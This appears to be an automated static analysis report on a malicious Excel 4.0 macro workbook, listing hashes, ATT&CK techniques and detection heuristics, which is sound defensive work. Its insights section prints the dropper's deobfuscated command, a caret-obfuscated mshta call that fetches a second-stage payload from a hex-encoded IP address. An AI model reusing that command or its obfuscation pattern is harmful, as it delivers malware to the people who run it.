Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 5b9d43f97377f32a…

MALICIOUS

Office (OLE) / .XLS

65.2 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: 05f5443f0d2c043836be5d107160808e SHA-1: 92715213783664849769d90f35fcbc78e815b3f2 SHA-256: 5b9d43f97377f32a41ad72569039c7a4a863512e0a788114c76bc3801fb2da46
100 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an Excel 4.0 (XLM) macro-enabled workbook. It contains an Auto_Open macro that is configured to execute a command. The command, reconstructed from obfuscated string concatenation, is 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html', which attempts to download a second-stage payload from the specified URL. The document also contains a lure to enable editing and content, a common tactic for macro-based malware.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes